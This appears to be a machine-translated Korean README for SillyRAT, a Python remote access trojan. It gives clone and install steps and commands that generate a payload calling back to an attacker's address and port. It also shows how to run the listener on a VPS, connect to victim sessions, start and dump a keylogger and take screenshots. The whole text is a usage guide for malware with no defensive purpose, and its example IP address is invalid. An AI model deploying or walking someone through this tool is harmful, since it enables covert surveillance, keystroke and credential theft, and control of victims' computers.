

순수한 파이썬으로 작성된 크로스 플랫폼 쥐. 쥐는 연결을 수락하는 서버로 수행하거나 서버에 연결을 설정하는 클라이언트/대상으로 수행하도록 인수와 함께 명령을 받아들입니다. Generate Command는 모듈 Pyinstaller를 사용하여 실제 페이로드 코드를 컴파일합니다. 따라서 해당 플랫폼의 페이로드 파일을 생성하려면 파일을 생성하는 동안 해당 플랫폼에 있어야합니다. 또한 소스 파일도 직접 얻을 수 있습니다.
이 도구는 Python 3.8 로 Parrot OS 에서 테스트됩니다. 설치 단계에 따라 :
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
페이로드 파일을 두 가지 방법으로 얻을 수 있습니다.
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
컴파일 된 버전은 해당 플랫폼에서 생성되어야합니다. 예를 들어 Linux에서 .exe 파일을 생성 할 수 없습니다. 당신은 구체적으로 창문에 있어야합니다. 도구는 여전히 테스트 중입니다. 따라서 모든 종류의 오류가 허용됩니다. 그래도 문제를 열어야합니다. Linux 용 컴파일 버전 생성 :
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

위의 명령에서 IP 주소와 포트를 교체하십시오.
서버는 Linux에서 실행되어야합니다. 연결을 위해 VPS 또는 클라우드 서버를 구입할 수 있습니다. 레코드의 경우 서버는 마지막 실행에서 세션을 저장하지 않습니다. 따라서 서버 응용 프로그램이 종료되면 모든 진행 상황이 손실됩니다. 서버 실행 :
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
모든 연결은 세션 에 따라 나열됩니다.
$ sessions

Connect Command와 대상 세션에 연결하고 사용 가능한 명령 중 하나를 시작할 수 있습니다.
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

사용 가능한 명령 목록을 받으십시오.
$ help
특정 명령에 대한 도움말 :
$ help COMMAND
트위터 : @hash3Lizer
불화 : Theflash2k#0407